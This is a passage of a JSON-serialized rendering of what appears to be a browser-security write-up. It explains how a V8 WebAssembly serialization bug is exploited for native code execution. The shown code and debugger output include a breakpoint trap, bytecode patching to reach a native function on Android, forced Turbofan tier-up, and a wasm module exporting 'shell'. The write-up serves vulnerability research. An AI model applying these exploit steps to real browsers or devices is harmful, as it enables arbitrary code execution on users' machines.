:23,"tag":141,"props":134057,"children":134058},{"style":472},[134059],{"type":29,"value":16205},{"type":23,"tag":141,"props":134061,"children":134062},{"style":154},[134063],{"type":29,"value":480},{"type":23,"tag":141,"props":134065,"children":134066},{"style":472},[134067],{"type":29,"value":2698},{"type":23,"tag":141,"props":134069,"children":134070},{"style":154},[134071],{"type":29,"value":480},{"type":23,"tag":141,"props":134073,"children":134074},{"style":472},[134075],{"type":29,"value":2698},{"type":23,"tag":141,"props":134077,"children":134078},{"style":154},[134079],{"type":29,"value":480},{"type":23,"tag":141,"props":134081,"children":134082},{"style":472},[134083],{"type":29,"value":2698},{"type":23,"tag":141,"props":134085,"children":134086},{"style":154},[134087],{"type":29,"value":480},{"type":23,"tag":141,"props":134089,"children":134090},{"style":472},[134091],{"type":29,"value":2698},{"type":23,"tag":141,"props":134093,"children":134094},{"style":154},[134095],{"type":29,"value":480},{"type":23,"tag":141,"props":134097,"children":134098},{"style":472},[134099],{"type":29,"value":2698},{"type":23,"tag":141,"props":134101,"children":134102},{"style":154},[134103],{"type":29,"value":480},{"type":23,"tag":141,"props":134105,"children":134106},{"style":472},[134107],{"type":29,"value":2698},{"type":23,"tag":141,"props":134109,"children":134110},{"style":154},[134111],{"type":29,"value":480},{"type":23,"tag":141,"props":134113,"children":134114},{"style":472},[134115],{"type":29,"value":2698},{"type":23,"tag":141,"props":134117,"children":134118},{"style":154},[134119],{"type":29,"value":480},{"type":23,"tag":141,"props":134121,"children":134122},{"style":472},[134123],{"type":29,"value":2698},{"type":23,"tag":141,"props":134125,"children":134126},{"style":154},[134127],{"type":29,"value":480},{"type":23,"tag":141,"props":134129,"children":134130},{"style":472},[134131],{"type":29,"value":2698},{"type":23,"tag":141,"props":134133,"children":134134},{"style":154},[134135],{"type":29,"value":480},{"type":23,"tag":141,"props":134137,"children":134138},{"style":472},[134139],{"type":29,"value":2698},{"type":23,"tag":141,"props":134141,"children":134142},{"style":154},[134143],{"type":29,"value":480},{"type":23,"tag":141,"props":134145,"children":134146},{"style":472},[134147],{"type":29,"value":2698},{"type":23,"tag":141,"props":134149,"children":134150},{"style":154},[134151],{"type":29,"value":480},{"type":23,"tag":141,"props":134153,"children":134154},{"style":472},[134155],{"type":29,"value":2698},{"type":23,"tag":141,"props":134157,"children":134158},{"style":154},[134159],{"type":29,"value":480},{"type":23,"tag":141,"props":134161,"children":134162},{"style":472},[134163],{"type":29,"value":2698},{"type":23,"tag":141,"props":134165,"children":134166},{"style":154},[134167],{"type":29,"value":480},{"type":23,"tag":141,"props":134169,"children":134170},{"style":472},[134171],{"type":29,"value":2698},{"type":23,"tag":141,"props":134173,"children":134174},{"style":154},[134175],{"type":29,"value":480},{"type":23,"tag":141,"props":134177,"children":134178},{"style":472},[134179],{"type":29,"value":2698},{"type":23,"tag":141,"props":134181,"children":134182},{"style":154},[134183],{"type":29,"value":2168},{"type":23,"tag":141,"props":134185,"children":134186},{"class":143,"line":824},[134187,134191,134195,134199,134203,134207,134211,134215,134219,134223,134227,134231,134235,134239,134243,134247,134251,134255,134259,134263,134267,134271,134275,134279,134283,134287,134291,134295,134299,134303,134307,134311,134315,134319,134323,134327,134331,134335,134339,134343,134347,134351,134355,134359,134363,134367,134371,134375,134379,134383,134387,134392,134396,134400],{"type":23,"tag":141,"props":134188,"children":134189},{"style":472},[134190],{"type":29,"value":132682},{"type":23,"tag":141,"props":134192,"children":134193},{"style":154},[134194],{"type":29,"value":480},{"type":23,"tag":141,"props":134196,"children":134197},{"style":472},[134198],{"type":29,"value":2698},{"type":23,"tag":141,"props":134200,"children":134201},{"style":154},[134202],{"type":29,"value":480},{"type":23,"tag":141,"props":134204,"children":134205},{"style":472},[134206],{"type":29,"value":2698},{"type":23,"tag":141,"props":134208,"children":134209},{"style":154},[134210],{"type":29,"value":480},{"type":23,"tag":141,"props":134212,"children":134213},{"style":472},[134214],{"type":29,"value":2698},{"type":23,"tag":141,"props":134216,"children":134217},{"style":154},[134218],{"type":29,"value":480},{"type":23,"tag":141,"props":134220,"children":134221},{"style":472},[134222],{"type":29,"value":2698},{"type":23,"tag":141,"props":134224,"children":134225},{"style":154},[134226],{"type":29,"value":480},{"type":23,"tag":141,"props":134228,"children":134229},{"style":472},[134230],{"type":29,"value":2698},{"type":23,"tag":141,"props":134232,"children":134233},{"style":154},[134234],{"type":29,"value":480},{"type":23,"tag":141,"props":134236,"children":134237},{"style":472},[134238],{"type":29,"value":2698},{"type":23,"tag":141,"props":134240,"children":134241},{"style":154},[134242],{"type":29,"value":480},{"type":23,"tag":141,"props":134244,"children":134245},{"style":472},[134246],{"type":29,"value":2698},{"type":23,"tag":141,"props":134248,"children":134249},{"style":154},[134250],{"type":29,"value":480},{"type":23,"tag":141,"props":134252,"children":134253},{"style":472},[134254],{"type":29,"value":2698},{"type":23,"tag":141,"props":134256,"children":134257},{"style":154},[134258],{"type":29,"value":480},{"type":23,"tag":141,"props":134260,"children":134261},{"style":472},[134262],{"type":29,"value":2698},{"type":23,"tag":141,"props":134264,"children":134265},{"style":154},[134266],{"type":29,"value":480},{"type":23,"tag":141,"props":134268,"children":134269},{"style":472},[134270],{"type":29,"value":2698},{"type":23,"tag":141,"props":134272,"children":134273},{"style":154},[134274],{"type":29,"value":480},{"type":23,"tag":141,"props":134276,"children":134277},{"style":472},[134278],{"type":29,"value":2698},{"type":23,"tag":141,"props":134280,"children":134281},{"style":154},[134282],{"type":29,"value":480},{"type":23,"tag":141,"props":134284,"children":134285},{"style":472},[134286],{"type":29,"value":2698},{"type":23,"tag":141,"props":134288,"children":134289},{"style":154},[134290],{"type":29,"value":480},{"type":23,"tag":141,"props":134292,"children":134293},{"style":472},[134294],{"type":29,"value":2698},{"type":23,"tag":141,"props":134296,"children":134297},{"style":154},[134298],{"type":29,"value":480},{"type":23,"tag":141,"props":134300,"children":134301},{"style":472},[134302],{"type":29,"value":2698},{"type":23,"tag":141,"props":134304,"children":134305},{"style":154},[134306],{"type":29,"value":480},{"type":23,"tag":141,"props":134308,"children":134309},{"style":472},[134310],{"type":29,"value":2698},{"type":23,"tag":141,"props":134312,"children":134313},{"style":154},[134314],{"type":29,"value":480},{"type":23,"tag":141,"props":134316,"children":134317},{"style":472},[134318],{"type":29,"value":2698},{"type":23,"tag":141,"props":134320,"children":134321},{"style":154},[134322],{"type":29,"value":480},{"type":23,"tag":141,"props":134324,"children":134325},{"style":472},[134326],{"type":29,"value":2698},{"type":23,"tag":141,"props":134328,"children":134329},{"style":154},[134330],{"type":29,"value":480},{"type":23,"tag":141,"props":134332,"children":134333},{"style":472},[134334],{"type":29,"value":2698},{"type":23,"tag":141,"props":134336,"children":134337},{"style":154},[134338],{"type":29,"value":480},{"type":23,"tag":141,"props":134340,"children":134341},{"style":472},[134342],{"type":29,"value":2698},{"type":23,"tag":141,"props":134344,"children":134345},{"style":154},[134346],{"type":29,"value":480},{"type":23,"tag":141,"props":134348,"children":134349},{"style":472},[134350],{"type":29,"value":2698},{"type":23,"tag":141,"props":134352,"children":134353},{"style":154},[134354],{"type":29,"value":480},{"type":23,"tag":141,"props":134356,"children":134357},{"style":472},[134358],{"type":29,"value":2698},{"type":23,"tag":141,"props":134360,"children":134361},{"style":154},[134362],{"type":29,"value":480},{"type":23,"tag":141,"props":134364,"children":134365},{"style":472},[134366],{"type":29,"value":2698},{"type":23,"tag":141,"props":134368,"children":134369},{"style":154},[134370],{"type":29,"value":480},{"type":23,"tag":141,"props":134372,"children":134373},{"style":472},[134374],{"type":29,"value":475},{"type":23,"tag":141,"props":134376,"children":134377},{"style":154},[134378],{"type":29,"value":480},{"type":23,"tag":141,"props":134380,"children":134381},{"style":472},[134382],{"type":29,"value":133935},{"type":23,"tag":141,"props":134384,"children":134385},{"style":154},[134386],{"type":29,"value":480},{"type":23,"tag":141,"props":134388,"children":134389},{"style":472},[134390],{"type":29,"value":134391},"198",{"type":23,"tag":141,"props":134393,"children":134394},{"style":154},[134395],{"type":29,"value":480},{"type":23,"tag":141,"props":134397,"children":134398},{"style":472},[134399],{"type":29,"value":2698},{"type":23,"tag":141,"props":134401,"children":134402},{"style":154},[134403],{"type":29,"value":2168},{"type":23,"tag":141,"props":134405,"children":134406},{"class":143,"line":839},[134407],{"type":23,"tag":141,"props":134408,"children":134409},{"style":154},[134410],{"type":29,"value":132969},{"type":23,"tag":141,"props":134412,"children":134413},{"class":143,"line":848},[134414,134418,134423,134427,134432,134436,134440,134444,134448,134452,134456],{"type":23,"tag":141,"props":134415,"children":134416},{"style":449},[134417],{"type":29,"value":6530},{"type":23,"tag":141,"props":134419,"children":134420},{"style":750},[134421],{"type":29,"value":134422}," r",{"type":23,"tag":141,"props":134424,"children":134425},{"style":160},[134426],{"type":29,"value":1674},{"type":23,"tag":141,"props":134428,"children":134429},{"style":184},[134430],{"type":29,"value":134431}," bug",{"type":23,"tag":141,"props":134433,"children":134434},{"style":154},[134435],{"type":29,"value":192},{"type":23,"tag":141,"props":134437,"children":134438},{"style":750},[134439],{"type":29,"value":132300},{"type":23,"tag":141,"props":134441,"children":134442},{"style":154},[134443],{"type":29,"value":480},{"type":23,"tag":141,"props":134445,"children":134446},{"style":750},[134447],{"type":29,"value":123627},{"type":23,"tag":141,"props":134449,"children":134450},{"style":154},[134451],{"type":29,"value":322},{"type":23,"tag":141,"props":134453,"children":134454},{"style":750},[134455],{"type":29,"value":123627},{"type":23,"tag":141,"props":134457,"children":134458},{"style":154},[134459],{"type":29,"value":2496},{"type":23,"tag":141,"props":134461,"children":134462},{"class":143,"line":2304},[134463,134468,134472,134476,134480,134484,134488,134492,134497,134501],{"type":23,"tag":141,"props":134464,"children":134465},{"style":750},[134466],{"type":29,"value":134467}," result",{"type":23,"tag":141,"props":134469,"children":134470},{"style":160},[134471],{"type":29,"value":1674},{"type":23,"tag":141,"props":134473,"children":134474},{"style":154},[134475],{"type":29,"value":1220},{"type":23,"tag":141,"props":134477,"children":134478},{"style":148},[134479],{"type":29,"value":31385},{"type":23,"tag":141,"props":134481,"children":134482},{"style":750},[134483],{"type":29,"value":134422},{"type":23,"tag":141,"props":134485,"children":134486},{"style":154},[134487],{"type":29,"value":322},{"type":23,"tag":141,"props":134489,"children":134490},{"style":184},[134491],{"type":29,"value":56045},{"type":23,"tag":141,"props":134493,"children":134494},{"style":154},[134495],{"type":29,"value":134496},"()).",{"type":23,"tag":141,"props":134498,"children":134499},{"style":750},[134500],{"type":29,"value":37623},{"type":23,"tag":141,"props":134502,"children":134503},{"style":154},[134504],{"type":29,"value":1684},{"type":23,"tag":141,"props":134506,"children":134507},{"class":143,"line":2313},[134508,134512,134517,134521,134525,134529,134533,134537,134541,134545],{"type":23,"tag":141,"props":134509,"children":134510},{"style":449},[134511],{"type":29,"value":34659},{"type":23,"tag":141,"props":134513,"children":134514},{"style":750},[134515],{"type":29,"value":134516}," wasm_instance",{"type":23,"tag":141,"props":134518,"children":134519},{"style":160},[134520],{"type":29,"value":1674},{"type":23,"tag":141,"props":134522,"children":134523},{"style":449},[134524],{"type":29,"value":30401},{"type":23,"tag":141,"props":134526,"children":134527},{"style":750},[134528],{"type":29,"value":132283},{"type":23,"tag":141,"props":134530,"children":134531},{"style":154},[134532],{"type":29,"value":322},{"type":23,"tag":141,"props":134534,"children":134535},{"style":184},[134536],{"type":29,"value":132337},{"type":23,"tag":141,"props":134538,"children":134539},{"style":154},[134540],{"type":29,"value":192},{"type":23,"tag":141,"props":134542,"children":134543},{"style":750},[134544],{"type":29,"value":7760},{"type":23,"tag":141,"props":134546,"children":134547},{"style":154},[134548],{"type":29,"value":2496},{"type":23,"tag":141,"props":134550,"children":134551},{"class":143,"line":2335},[134552,134556,134560,134564,134568,134572,134576,134580,134584],{"type":23,"tag":141,"props":134553,"children":134554},{"style":449},[134555],{"type":29,"value":34659},{"type":23,"tag":141,"props":134557,"children":134558},{"style":750},[134559],{"type":29,"value":31440},{"type":23,"tag":141,"props":134561,"children":134562},{"style":160},[134563],{"type":29,"value":1674},{"type":23,"tag":141,"props":134565,"children":134566},{"style":750},[134567],{"type":29,"value":134516},{"type":23,"tag":141,"props":134569,"children":134570},{"style":154},[134571],{"type":29,"value":322},{"type":23,"tag":141,"props":134573,"children":134574},{"style":750},[134575],{"type":29,"value":36357},{"type":23,"tag":141,"props":134577,"children":134578},{"style":154},[134579],{"type":29,"value":322},{"type":23,"tag":141,"props":134581,"children":134582},{"style":750},[134583],{"type":29,"value":132386},{"type":23,"tag":141,"props":134585,"children":134586},{"style":154},[134587],{"type":29,"value":1684},{"type":23,"tag":141,"props":134589,"children":134590},{"class":143,"line":2343},[134591,134596],{"type":23,"tag":141,"props":134592,"children":134593},{"style":184},[134594],{"type":29,"value":134595}," f",{"type":23,"tag":141,"props":134597,"children":134598},{"style":154},[134599],{"type":29,"value":1305},{"type":23,"tag":141,"props":134601,"children":134602},{"class":143,"line":2352},[134603],{"type":23,"tag":141,"props":134604,"children":134605},{"style":154},[134606],{"type":29,"value":100470},{"type":23,"tag":32,"props":134608,"children":134609},{},[134610],{"type":29,"value":134611},"Running this in a debugger shows the expected breakpoint:",{"type":23,"tag":131,"props":134613,"children":134615},{"code":134614},"Thread 1 \"d8\" received signal SIGTRAP, Trace/breakpoint trap.\n0x00002ae46bfc1841 in ?? ()\n────────────────────────────────────────────────────────────────────────────\n 0x2ae46bfc183c add BYTE PTR [rax], al\n 0x2ae46bfc183e add BYTE PTR [rax], al\n 0x2ae46bfc1840 int3\n → 0x2ae46bfc1841 mov rbp, rsp\n",[134616],{"type":23,"tag":38,"props":134617,"children":134618},{"__ignoreMap":7},[134619],{"type":29,"value":134614},{"type":23,"tag":8287,"props":134621,"children":134623},{"id":134622},"porting-to-android",[134624],{"type":29,"value":134625},"Porting to Android",{"type":23,"tag":32,"props":134627,"children":134628},{},[134629,134631,134636,134638,134643,134645,134650,134652,134658],{"type":29,"value":134630},"The serialized x86-64 code can’t be used on the device because the architecture differs, and ",{"type":23,"tag":38,"props":134632,"children":134634},{"className":134633},[],[134635],{"type":29,"value":131415},{"type":29,"value":134637}," fails. We cross-compiled ",{"type":23,"tag":38,"props":134639,"children":134641},{"className":134640},[],[134642],{"type":29,"value":130574},{"type":29,"value":134644}," for arm64 and serialized the module there, but this still didn’t work on the device and ",{"type":23,"tag":38,"props":134646,"children":134648},{"className":134647},[],[134649],{"type":29,"value":131415},{"type":29,"value":134651}," returned ",{"type":23,"tag":38,"props":134653,"children":134655},{"className":134654},[],[134656],{"type":29,"value":134657},"undefined",{"type":29,"value":322},{"type":23,"tag":32,"props":134660,"children":134661},{},[134662,134664,134669,134671,134676],{"type":29,"value":134663},"Instead, we modified the bytecode to call ",{"type":23,"tag":38,"props":134665,"children":134667},{"className":134666},[],[134668],{"type":29,"value":131441},{"type":29,"value":134670}," directly on the device. The idea is to serialize the code on the device and then feed the resulting bytes back into the original bytecode that calls ",{"type":23,"tag":38,"props":134672,"children":134674},{"className":134673},[],[134675],{"type":29,"value":131415},{"type":29,"value":322},{"type":23,"tag":131,"props":134678,"children":134680},{"code":134679,"language":34086,"meta":7,"className":34084,"style":7},"try {\n ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}\n a1 + 0x03027a6c;\n throw 0x393e71a;\n} catch (e) {\n console.log(\"foo\");\n yield a16;\n}\n",[134681],{"type":23,"tag":38,"props":134682,"children":134683},{"__ignoreMap":7},[134684,134695,134739,134759,134775,134798,134825,134840],{"type":23,"tag":141,"props":134685,"children":134686},{"class":143,"line":144},[134687,134691],{"type":23,"tag":141,"props":134688,"children":134689},{"style":148},[134690],{"type":29,"value":46809},{"type":23,"tag":141,"props":134692,"children":134693},{"style":154},[134694],{"type":29,"value":1951},{"type":23,"tag":141,"props":134696,"children":134697},{"class":143,"line":180},[134698,134702,134706,134710,134714,134718,134722,134727,134731,134735],{"type":23,"tag":141,"props":134699,"children":134700},{"style":750},[134701],{"type":29,"value":131682},{"type":23,"tag":141,"props":134703,"children":134704},{"style":154},[134705],{"type":29,"value":75103},{"type":23,"tag":141,"props":134707,"children":134708},{"style":828},[134709],{"type":29,"value":131691},{"type":23,"tag":141,"props":134711,"children":134712},{"style":154},[134713],{"type":29,"value":322},{"type":23,"tag":141,"props":134715,"children":134716},{"style":184},[134717],{"type":29,"value":131700},{"type":23,"tag":141,"props":134719,"children":134720},{"style":154},[134721],{"type":29,"value":192},{"type":23,"tag":141,"props":134723,"children":134724},{"style":472},[134725],{"type":29,"value":134726},"0x059301",{"type":23,"tag":141,"props":134728,"children":134729},{"style":160},[134730],{"type":29,"value":49734},{"type":23,"tag":141,"props":134732,"children":134733},{"style":472},[134734],{"type":29,"value":3198},{"type":23,"tag":141,"props":134736,"children":134737},{"style":154},[134738],{"type":29,"value":131722},{"type":23,"tag":141,"props":134740,"children":134741},{"class":143,"line":205},[134742,134746,134750,134755],{"type":23,"tag":141,"props":134743,"children":134744},{"style":750},[134745],{"type":29,"value":131730},{"type":23,"tag":141,"props":134747,"children":134748},{"style":160},[134749],{"type":29,"value":7581},{"type":23,"tag":141,"props":134751,"children":134752},{"style":472},[134753],{"type":29,"value":134754}," 0x03027a6c",{"type":23,"tag":141,"props":134756,"children":134757},{"style":154},[134758],{"type":29,"value":1684},{"type":23,"tag":141,"props":134760,"children":134761},{"class":143,"line":218},[134762,134766,134771],{"type":23,"tag":141,"props":134763,"children":134764},{"style":148},[134765],{"type":29,"value":33672},{"type":23,"tag":141,"props":134767,"children":134768},{"style":472},[134769],{"type":29,"value":134770}," 0x393e71a",{"type":23,"tag":141,"props":134772,"children":134773},{"style":154},[134774],{"type":29,"value":1684},{"type":23,"tag":141,"props":134776,"children":134777},{"class":143,"line":227},[134778,134782,134786,134790,134794],{"type":23,"tag":141,"props":134779,"children":134780},{"style":154},[134781],{"type":29,"value":45351},{"type":23,"tag":141,"props":134783,"children":134784},{"style":148},[134785],{"type":29,"value":46889},{"type":23,"tag":141,"props":134787,"children":134788},{"style":154},[134789],{"type":29,"value":1220},{"type":23,"tag":141,"props":134791,"children":134792},{"style":750},[134793],{"type":29,"value":49933},{"type":23,"tag":141,"props":134795,"children":134796},{"style":154},[134797],{"type":29,"value":13480},{"type":23,"tag":141,"props":134799,"children":134800},{"class":143,"line":241},[134801,134805,134809,134813,134817,134821],{"type":23,"tag":141,"props":134802,"children":134803},{"style":750},[134804],{"type":29,"value":100429},{"type":23,"tag":141,"props":134806,"children":134807},{"style":154},[134808],{"type":29,"value":322},{"type":23,"tag":141,"props":134810,"children":134811},{"style":184},[134812],{"type":29,"value":100438},{"type":23,"tag":141,"props":134814,"children":134815},{"style":154},[134816],{"type":29,"value":192},{"type":23,"tag":141,"props":134818,"children":134819},{"style":828},[134820],{"type":29,"value":131806},{"type":23,"tag":141,"props":134822,"children":134823},{"style":154},[134824],{"type":29,"value":2496},{"type":23,"tag":141,"props":134826,"children":134827},{"class":143,"line":262},[134828,134832,134836],{"type":23,"tag":141,"props":134829,"children":134830},{"style":148},[134831],{"type":29,"value":131818},{"type":23,"tag":141,"props":134833,"children":134834},{"style":750},[134835],{"type":29,"value":131823},{"type":23,"tag":141,"props":134837,"children":134838},{"style":154},[134839],{"type":29,"value":1684},{"type":23,"tag":141,"props":134841,"children":134842},{"class":143,"line":271},[134843],{"type":23,"tag":141,"props":134844,"children":134845},{"style":154},[134846],{"type":29,"value":2573},{"type":23,"tag":32,"props":134848,"children":134849},{},[134850,134852,134858,134860,134866,134868,134874,134876,134881,134883,134889,134891,134896,134897,134903],{"type":29,"value":134851},"Here, ",{"type":23,"tag":38,"props":134853,"children":134855},{"className":134854},[],[134856],{"type":29,"value":134857},"a1 + 0x03027a6c",{"type":29,"value":134859}," generates the bytes ",{"type":23,"tag":38,"props":134861,"children":134863},{"className":134862},[],[134864],{"type":29,"value":134865},"01 4b 6c 7a 02 03",{"type":29,"value":134867},", where ",{"type":23,"tag":38,"props":134869,"children":134871},{"className":134870},[],[134872],{"type":29,"value":134873},"0x6c",{"type":29,"value":134875}," is the ",{"type":23,"tag":38,"props":134877,"children":134879},{"className":134878},[],[134880],{"type":29,"value":131399},{"type":29,"value":134882}," opcode, ",{"type":23,"tag":38,"props":134884,"children":134886},{"className":134885},[],[134887],{"type":29,"value":134888},"0x027a",{"type":29,"value":134890}," is the function ID of ",{"type":23,"tag":38,"props":134892,"children":134894},{"className":134893},[],[134895],{"type":29,"value":131441},{"type":29,"value":5161},{"type":23,"tag":38,"props":134898,"children":134900},{"className":134899},[],[134901],{"type":29,"value":134902},"0x03",{"type":29,"value":134904}," is the register index holding its first argument.",{"type":23,"tag":32,"props":134906,"children":134907},{},[134908,134910,134915,134916,134921,134923,134928],{"type":29,"value":134909},"Our earlier javascript snippet that serialized the wasm module used two native calls: ",{"type":23,"tag":38,"props":134911,"children":134913},{"className":134912},[],[134914],{"type":29,"value":131441},{"type":29,"value":313},{"type":23,"tag":38,"props":134917,"children":134919},{"className":134918},[],[134920],{"type":29,"value":132409},{"type":29,"value":134922},". To avoid patching the bytecode again to invoke ",{"type":23,"tag":38,"props":134924,"children":134926},{"className":134925},[],[134927],{"type":29,"value":132409},{"type":29,"value":134929},", we can force Turbofan to compile the target function like this:",{"type":23,"tag":131,"props":134931,"children":134933},{"code":134932,"language":34086,"meta":7,"className":34084,"style":7},"// %WasmTierUpFunction(func);\nfor (let i = 0; i \u003C 0x100000; i++) {\n func();\n}\n",[134934],{"type":23,"tag":38,"props":134935,"children":134936},{"__ignoreMap":7},[134937,134945,135005,135017],{"type":23,"tag":141,"props":134938,"children":134939},{"class":143,"line":144},[134940],{"type":23,"tag":141,"props":134941,"children":134942},{"style":443},[134943],{"type":29,"value":134944},"// %WasmTierUpFunction(func);\n",{"type":23,"tag":141,"props":134946,"children":134947},{"class":143,"line":180},[134948,134952,134956,134960,134964,134968,134972,134976,134980,134984,134989,134993,134997,135001],{"type":23,"tag":141,"props":134949,"children":134950},{"style":148},[134951],{"type":29,"value":2053},{"type":23,"tag":141,"props":134953,"children":134954},{"style":154},[134955],{"type":29,"value":1220},{"type":23,"tag":141,"props":134957,"children":134958},{"style":449},[134959],{"type":29,"value":10467},{"type":23,"tag":141,"props":134961,"children":134962},{"style":750},[134963],{"type":29,"value":2058},{"type":23,"tag":141,"props":134965,"children":134966},{"style":160},[134967],{"type":29,"value":1674},{"type":23,"tag":141,"props":134969,"children":134970},{"style":472},[134971],{"type":29,"value":1707},{"type":23,"tag":141,"props":134973,"children":134974},{"style":154},[134975],{"type":29,"value":15903},{"type":23,"tag":141,"props":134977,"children":134978},{"style":750},[134979],{"type":29,"value":2404},{"type":23,"tag":141,"props":134981,"children":134982},{"style":160},[134983],{"type":29,"value":7395},{"type":23,"tag":141,"props":134985,"children":134986},{"style":472},[134987],{"type":29,"value":134988}," 0x100000",{"type":23,"tag":141,"props":134990,"children":134991},{"style":154},[134992],{"type":29,"value":15903},{"type":23,"tag":141,"props":134994,"children":134995},{"style":750},[134996],{"type":29,"value":2404},{"type":23,"tag":141,"props":134998,"children":134999},{"style":160},[135000],{"type":29,"value":49748},{"type":23,"tag":141,"props":135002,"children":135003},{"style":154},[135004],{"type":29,"value":13480},{"type":23,"tag":141,"props":135006,"children":135007},{"class":143,"line":205},[135008,135013],{"type":23,"tag":141,"props":135009,"children":135010},{"style":184},[135011],{"type":29,"value":135012}," func",{"type":23,"tag":141,"props":135014,"children":135015},{"style":154},[135016],{"type":29,"value":1305},{"type":23,"tag":141,"props":135018,"children":135019},{"class":143,"line":218},[135020],{"type":23,"tag":141,"props":135021,"children":135022},{"style":154},[135023],{"type":29,"value":2573},{"type":23,"tag":32,"props":135025,"children":135026},{},[135027],{"type":29,"value":135028},"Finally, running this code on the device:",{"type":23,"tag":131,"props":135030,"children":135032},{"code":135031,"language":34086,"meta":7,"className":34084,"style":7},"(async () => {\n var wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n var mod = new WebAssembly.Module(wasm_code);\n var inst = new WebAssembly.Instance(mod);\n var func = inst.exports.shell;\n\n // %WasmTierUpFunction(func);\n for (let i = 0; i \u003C 0x100000; i++) {\n func();\n }\n\n let r = bug(mod);\n result = (await r.next()).value;\n console.log(result);\n\n let result_bytes = new Uint8Array(result);\n console.log('[' + result_bytes.join(', ') + ']');\n})();\n",[135033],{"type":23,"tag":38,"props":135034,"children":135035},{"__ignoreMap":7},[135036,135059,135087,135306,135373,135380,135423,135466,135505,135512,135520,135580,135592,135599,135606,135637,135680,135707,135714,135750,135813],{"type":23,"tag":141,"props":135037,"children":135038},{"class":143,"line":144},[135039,135043,135047,135051,135055],{"type":23,"tag":141,"props":135040,"children":135041},{"style":154},[135042],{"type":29,"value":192},{"type":23,"tag":141,"props":135044,"children":135045},{"style":449},[135046],{"type":29,"value":34616},{"type":23,"tag":141,"props":135048,"children":135049},{"style":154},[135050],{"type":29,"value":38168},{"type":23,"tag":141,"props":135052,"children":135053},{"style":449},[135054],{"type":29,"value":13498},{"type":23,"tag":141,"props":135056,"children":135057},{"style":154},[135058],{"type":29,"value":1951},{"type":23,"tag":141,"props":135060,"children":135061},{"class":143,"line":180},[135062,135067,135071,135075,135079,135083],{"type":23,"tag":141,"props":135063,"children":135064},{"style":449},[135065],{"type":29,"value":135066}," var",{"type":23,"tag":141,"props":135068,"children":135069},{"style":750},[135070],{"type":29,"value":131939},{"type":23,"tag":141,"props":135072,"children":135073},{"style":160},[135074],{"type":29,"value":1674},{"type":23,"tag":141,"props":135076,"children":135077},{"style":449},[135078],{"type":29,"value":30401},{"type":23,"tag":141,"props":135080,"children":135081},{"style":184},[135082],{"type":29,"value":131952},{"type":23,"tag":141,"props":135084,"children":135085},{"style":154},[135086],{"type":29,"value":131957},{"type":23,"tag":141,"props":135088,"children":135089},{"class":143,"line":205},[135090,135094,135098,135102,135106,135110,135114,135118,135122,135126,135130,135134,135138,135142,135146,135150,135154,135158,135162,135166,135170,135174,135178,135182,135186,135190,135194,135198,135202,135206,135210,135214,135218,135222,135226,135230,135234,135238,135242,135246,135250,135254,135258,135262,135266,135270,135274,135278,135282,135286,135290,135294,135298,135302],{"type":23,"tag":141,"props":135091,"children":135092},{"style":472},[135093],{"type":29,"value":132682},{"type":23,"tag":141,"props":135095,"children":135096},{"style":154},[135097],{"type":29,"value":480},{"type":23,"tag":141,"props":135099,"children":135100},{"style":472},[135101],{"type":29,"value":131974},{"type":23,"tag":141,"props":135103,"children":135104},{"style":154},[135105],{"type":29,"value":480},{"type":23,"tag":141,"props":135107,"children":135108},{"style":472},[135109],{"type":29,"value":131983},{"type":23,"tag":141,"props":135111,"children":135112},{"style":154},[135113],{"type":29,"value":480},{"type":23,"tag":141,"props":135115,"children":135116},{"style":472},[135117],{"type":29,"value":131992},{"type":23,"tag":141,"props":135119,"children":135120},{"style":154},[135121],{"type":29,"value":480},{"type":23,"tag":141,"props":135123,"children":135124},{"style":472},[135125],{"type":29,"value":687},{"type":23,"tag":141,"props":135127,"children":135128},{"style":154},[135129],{"type":29,"value":480},{"type":23,"tag":141,"props":135131,"children":135132},{"style":472},[135133],{"type":29,"value":2698},{"type":23,"tag":141,"props":135135,"children":135136},{"style":154},[135137],{"type":29,"value":480},{"type":23,"tag":141,"props":135139,"children":135140},{"style":472},[135141],{"type":29,"value":2698},{"type":23,"tag":141,"props":135143,"children":135144},{"style":154},[135145],{"type":29,"value":480},{"type":23,"tag":141,"props":135147,"children":135148},{"style":472},[135149],{"type":29,"value":2698},{"type":23,"tag":141,"props":135151,"children":135152},{"style":154},[135153],{"type":29,"value":480},{"type":23,"tag":141,"props":135155,"children":135156},{"style":472},[135157],{"type":29,"value":687},{"type":23,"tag":141,"props":135159,"children":135160},{"style":154},[135161],{"type":29,"value":480},{"type":23,"tag":141,"props":135163,"children":135164},{"style":472},[135165],{"type":29,"value":16205},{"type":23,"tag":141,"props":135167,"children":135168},{"style":154},[135169],{"type":29,"value":480},{"type":23,"tag":141,"props":135171,"children":135172},{"style":472},[135173],{"type":29,"value":687},{"type":23,"tag":141,"props":135175,"children":135176},{"style":154},[135177],{"type":29,"value":480},{"type":23,"tag":141,"props":135179,"children":135180},{"style":472},[135181],{"type":29,"value":132057},{"type":23,"tag":141,"props":135183,"children":135184},{"style":154},[135185],{"type":29,"value":480},{"type":23,"tag":141,"props":135187,"children":135188},{"style":472},[135189],{"type":29,"value":2698},{"type":23,"tag":141,"props":135191,"children":135192},{"style":154},[135193],{"type":29,"value":480},{"type":23,"tag":141,"props":135195,"children":135196},{"style":472},[135197],{"type":29,"value":2698},{"type":23,"tag":141,"props":135199,"children":135200},{"style":154},[135201],{"type":29,"value":480},{"type":23,"tag":141,"props":135203,"children":135204},{"style":472},[135205],{"type":29,"value":15972},{"type":23,"tag":141,"props":135207,"children":135208},{"style":154},[135209],{"type":29,"value":480},{"type":23,"tag":141,"props":135211,"children":135212},{"style":472},[135213],{"type":29,"value":1049},{"type":23,"tag":141,"props":135215,"children":135216},{"style":154},[135217],{"type":29,"value":480},{"type":23,"tag":141,"props":135219,"children":135220},{"style":472},[135221],{"type":29,"value":687},{"type":23,"tag":141,"props":135223,"children":135224},{"style":154},[135225],{"type":29,"value":480},{"type":23,"tag":141,"props":135227,"children":135228},{"style":472},[135229],{"type":29,"value":2698},{"type":23,"tag":141,"props":135231,"children":135232},{"style":154},[135233],{"type":29,"value":480},{"type":23,"tag":141,"props":135235,"children":135236},{"style":472},[135237],{"type":29,"value":53150},{"type":23,"tag":141,"props":135239,"children":135240},{"style":154},[135241],{"type":29,"value":480},{"type":23,"tag":141,"props":135243,"children":135244},{"style":472},[135245],{"